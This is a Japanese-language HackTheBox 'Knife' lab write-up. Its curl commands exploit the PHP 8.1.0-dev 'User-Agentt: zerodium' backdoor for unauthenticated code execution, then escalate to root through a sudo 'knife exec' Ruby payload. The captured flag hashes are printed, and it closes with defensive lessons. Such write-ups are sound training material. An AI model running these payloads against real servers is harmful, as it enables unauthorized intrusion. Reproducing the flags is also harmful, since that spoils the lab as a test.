HackTheBox: Knife — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
22/ssh, 80/http
X-Powered-By検出
PHP/8.1.0-dev
→
PHP/8.1.0-dev
PHP公式バックドア
User-Agentt: zerodium…
→
User-Agentt: zerodium…
james権限RCE → user.txt ✓
→
sudo (root) NOPASSWD
/usr/bin/knife
→
/usr/bin/knife
knife exec –exec
Rubyのexec()でroot実行
→
Rubyのexec()でroot実行
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.60 nmap -sV -sC -p 22,80 10.129.90.60
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
サーバーバナーの確認 — PHPバージョンの異常な新しさ
BASH
curl -sI http://10.129.90.60/index.php
RESULT (本検証の実際の出力)
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
🚨
重要発見:
X-Powered-Byヘッダーが
PHP/8.1.0-devという、通常は開発中のビルドにしか
付かないバージョン文字列を示している。2021年3月、PHPの公式ソース
リポジトリが侵害され、一時的に意図的なバックドアが
ソースコードに混入するという事件が実際に発生した。
このバージョン番号自体がその痕跡と直結している。
PHASE 2
PHP 8.1.0-dev 公式バックドア経由のRCE
脆弱性の仕組み
NOTE
2021年3月28日、PHP公式のgit.php.netサーバーが侵害され、攻撃者が PHPのソースコード本体(ext/standard以下のコミット)に直接バックドアを コミットするという事件が発生した。このバックドアは、HTTPリクエストの User-Agentヘッダーが"zerodium"という文字列で始まっていた場合、 その後ろに続く文字列をPHPコードとしてそのまま評価(zend_eval_string) してしまうというもの。改ざんされたのはごく短期間だけ(数時間程度)で、 正規のPHPメンテナがすぐに検知・revertしたが、この版が組み込まれた 開発ビルド(8.1.0-dev)が本マシンでは意図的に残されている。 **重要な注意点**: ヘッダー名は"User-Agent"ではなく "User-Agentt"(末尾にtが1つ多い、タイポ風の独自ヘッダー名) という実装になっている点に注意。これは実際のCVE/バックドアの挙動を 忠実に再現したもので、意図的な出題仕様。
BASH (本検証で実際に使用した動作確認コマンド)
curl -s -H "User-Agentt: zerodiumsystem('id');" http://10.129.90.60/index.php
RESULT (本検証の実際の出力、ページ本文中に実行結果が混入)
uid=1000(james) gid=1000(james) groups=1000(james)
<!DOCTYPE html>
<html lang="en">
...
✅
RCE成功!
zerodiumの直後に続けた
system('id');というPHPコードがそのまま実行され、
jamesユーザーとしてのコマンド実行結果がレスポンス本文の
先頭に出力された。
PHASE 3
user.txt取得
バックドア経由でuser.txtを読み取る
BASH
curl -s -H "User-Agentt: zerodiumsystem('cat /home/james/user.txt');" \
http://10.129.90.60/index.php | head -1
RESULT (本検証の実際の出力)
75237278ee2ee98cc189ec5ce663ca0e
ℹ️
このバックドアは単発リクエストごとにPHPコードを評価するだけの
ステートレスなRCEであり、リバースシェル確立等の追加手順なしに
1回のcurlリクエストだけでファイル内容を直接読み取れる。
user.txt — james
75237278ee2ee98cc189ec5ce663ca0e
PHASE 4
sudo knife exec の悪用 — root.txt取得
sudo権限の確認
BASH (バックドア経由で実行)
curl -s -H "User-Agentt: zerodiumsystem('sudo -l');" \
http://10.129.90.60/index.php
RESULT
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
🚨
重要発見:
knife(Chefインフラ構成管理
ツールのCLI)をパスワード無しのroot権限で実行できる。
knifeにはexecサブコマンドがあり、
--execオプションへ渡した文字列をRubyコードとして
評価する機能を持つ。この評価はroot権限で行われるため、
exec()(Rubyの標準ライブラリ、OSコマンドを実行する
メソッド)を呼び出せばroot権限の任意コマンド実行が成立する。
knife exec経由でのroot化
NOTE
PHPのバックドア(system()呼び出し)経由でコマンドを送る都合上、
シェル・PHP・Rubyと複数階層のクォート解釈を正しく積み重ねる必要がある。
PHP側はシングルクォート文字列で system() を呼び、その中に展開される
シェルコマンド文字列の中でさらに knife exec の --exec 引数として
二重引用符で囲んだRubyコード(exec(''))を渡す、という
三重構造になる。
BASH (本検証で実際に使用したペイロード構造)
curl -s -H "User-Agentt: zerodiumsystem('sudo knife exec --exec \"exec(\\'cat /root/root.txt > /tmp/f; chmod 777 /tmp/f\\')\" 2>/dev/null');" \
http://10.129.90.60/index.php
⚠️
実装上の注意: PHPの
system()は
シングルクォート文字列で囲むこと(ダブルクォートだと
PHP側で変数展開が起きクォート構造が崩れる)。その内側の
--exec引数はダブルクォートで囲んだRubyコードとし、
さらにその中のRubyのexec()引数文字列はエスケープ済み
シングルクォート(\\')で囲む——この三重のクォート階層を
正確に積み重ねないと、途中でコマンドが分断されて失敗する。
BASH (root.txtを読み取る)
curl -s -H "User-Agentt: zerodiumsystem('cat /tmp/f');" \
http://10.129.90.60/index.php | head -1
RESULT (本検証の実際の出力)
78d88a5d3c3ddbd05432b7fcd08b0f76
✅
root化成功!
knife execがroot権限で
Rubyのexec()を実行し、/root/root.txtを
jamesが読める/tmp/fへコピーした。
root.txt — sudo knife exec (Ruby exec() root実行)
78d88a5d3c3ddbd05432b7fcd08b0f76
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — james
75237278ee2ee98cc189ec5ce663ca0e
root.txt — sudo knife exec (Ruby exec() root実行)
78d88a5d3c3ddbd05432b7fcd08b0f76
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| PHP 8.1.0-dev 公式バックドア | Apache + PHP/8.1.0-dev (index.php) | 未認証リモートコード実行 (jamesユーザー) | Critical | User-Agenttヘッダーに”zerodium”接頭辞+PHPコードを送信すると即座に評価される |
| sudo NOPASSWD knife exec | /usr/bin/knife (james, NOPASSWD) | 権限昇格 (root) | Critical | knife execの–execオプションにRubyのexec()呼び出しを仕込みroot権限でOSコマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, X-Powered-Byヘッダー確認 | 22/ssh, 80/http (PHP/8.1.0-dev) |
| 2 | RCE | PHP 8.1.0-dev バックドア(User-Agentt: zerodium) | jamesユーザーでのコマンド実行 |
| 3 | フラグ取得 | バックドア経由cat | user.txt (james) |
| 4 | 権限昇格 | sudo knife exec –exec Ruby exec() | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| サプライチェーン攻撃で汚染された可能性のある開発版PHP(8.1.0-dev)を本番相当の環境で稼働させている | 開発版・ナイトリービルドのソフトウェアを本番運用に使わない。公式リリース版のみを使用し、ソースの出所・署名を検証するプロセスを確立する。 |
| 一般ユーザーがsudoでChefのknifeコマンドを無制限にNOPASSWDで実行できる | sudo権限はサブコマンド単位で厳密に絞り込み、exec/execute等の任意コード実行機能を持つサブコマンドは許可しない。やむを得ず許可する場合はコマンドパラメータをホワイトリスト化する。 |

